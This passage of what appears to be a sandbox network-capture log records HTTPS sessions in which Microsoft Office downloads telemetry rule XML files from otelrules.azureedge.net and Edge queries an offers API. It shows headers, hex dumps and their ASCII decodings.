20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:39 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:39 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: fa116fd5-501e-0064-65a6-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212039Z-1866b5c5fbbwlv6nhC1DFWw4bs00000003c00000000035td x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:39 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:41 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:41 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 22a3ed20-101e-005a-80a7-36882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212041Z-1866b5c5fbbfhwqqhC1DFW5138000000045000000000ra8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:41 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:41 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:41 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212041Z-16547b76f7fd4rc5hC1DFWkzhw000000054000000000ddpm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:41 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:41 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:41 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212041Z-16547b76f7fm8pcwhC1DFWaxcc000000031g0000000009af x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:41 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:41 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:41 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212041Z-16547b76f7f9s8x7hC1DFWywrg00000004n000000000ceqf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:41 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:41 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:41 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212041Z-16547b76f7fwggrphC1DFW2a8s00000003r000000000dtxq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:41 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	49834	94.245.104.56	443	5924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:41 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 21:20:41 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sun, 17 Nov 2024 21:20:41 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=450dfd268f8a743df3163736f7e10bb0b3d546aeb5345f053777aa7edaa19a9e;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=450dfd268f8a743df3163736f7e10bb0b3d546aeb5345f053777aa7edaa19a9e;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	60792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:42 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:42 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 36c9bc1a-b01e-003e-0509-378e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212042Z-1866b5c5fbbz7hb5hC1DFWru7c00000004p000000000p4hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:42 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	60788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:42 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:42 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4901c883-e01e-0020-44af-36de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212042Z-16547b76f7f9s8x7hC1DFWywrg00000004gg00000000sruh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:42 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	60790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:42 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:42 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 258ea299-f01e-0096-72c4-3710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212042Z-16547b76f7fffb7lhC1DFWdsxg00000004y000000000nb4k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:42 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	60789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:42 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:42 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: d62d9096-801e-0048-06af-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212042Z-16547b76f7ftnm6xhC1DFW9c8c00000004f000000000a21c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:42 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	60791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:42 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:42 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212042Z-1866b5c5fbbkbjq9hC1DFWf1es00000003r000000000hg16 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:42 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI 